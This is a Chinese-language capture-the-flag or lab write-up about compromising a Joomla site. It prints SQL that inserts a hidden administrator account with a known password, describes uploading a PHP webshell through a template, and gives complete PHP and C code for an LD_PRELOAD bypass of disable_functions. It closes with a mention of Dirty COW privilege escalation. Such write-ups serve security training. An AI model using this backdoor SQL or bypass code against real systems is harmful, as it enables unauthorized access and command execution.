joomla渗透测试(脏牛提权)

本来是个域渗透,不过环境有问题,就当作web题在做了


解题过程

joomla渗透测试(脏牛提权)_第1张图片这是一个joomla cms

  • 我们先扫一下目录
    joomla渗透测试(脏牛提权)_第2张图片

  • 连接mysql
    得到MySQL的账号和密码
    joomla渗透测试(脏牛提权)_第3张图片joomla渗透测试(脏牛提权)_第4张图片然后创建新的管理员

     INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
    
    INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
    

    这儿创建的管理员账号为admin2 secret
    不同的网站对应不同的前缀,改一下前缀即可

  • 登录后台,上传shell
    joomla渗透测试(脏牛提权)_第5张图片joomla渗透测试(脏牛提权)_第6张图片访问/templates/beez3//HyyMBb.php,即可getshell
    joomla渗透测试(脏牛提权)_第7张图片

  • 绕过disable_function
    上传cmd.php

     
    #move_uploaded_file($_FILES['evil']['tmp_name'], '/var/www/html/admin/shells/fEsiIOZ6Eup6pSW6/evil.so');
    putenv('LD_PRELOAD=/tmp/evil.so');
    putenv("_evilcmd=ls");
    mail('a','a','a');
    echo file_get_contents('/tmp/result.txt');
    ?>
    

    编译evil.c然后上传到/tmp目录下

    /* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
    #include 
    #include 
    #include 
    
    void payload(char *cmd) {
      char buf[512];
      strcpy(buf, cmd);
      strcat(buf, " > /tmp/result.txt");
      system(buf);}
    
    int getuid() {
      char *cmd;
      if (getenv("LD_PRELOAD") == NULL) { return 0; }
      unsetenv("LD_PRELOAD");
      if ((cmd = getenv("_evilcmd")) != NULL) {
        payload(cmd);
      }
      return 1;
    }
    

    joomla渗透测试(脏牛提权)_第8张图片即可执行系统命令

  • 提权
    根据以下我们知道,这很明显是一个反向代理,实际的web服务不在192.168.1.110
    joomla渗透测试(脏牛提权)_第9张图片
    joomla渗透测试(脏牛提权)_第10张图片joomla渗透测试(脏牛提权)_第11张图片找到一个账号密码,我们试一试能不能登录192.168.1.110
    joomla渗透测试(脏牛提权)_第12张图片在这里插入图片描述直接使用脏牛提权
    joomla渗透测试(脏牛提权)_第13张图片
    在这里插入图片描述在这里插入图片描述成功提权

你可能感兴趣的:(渗透测试)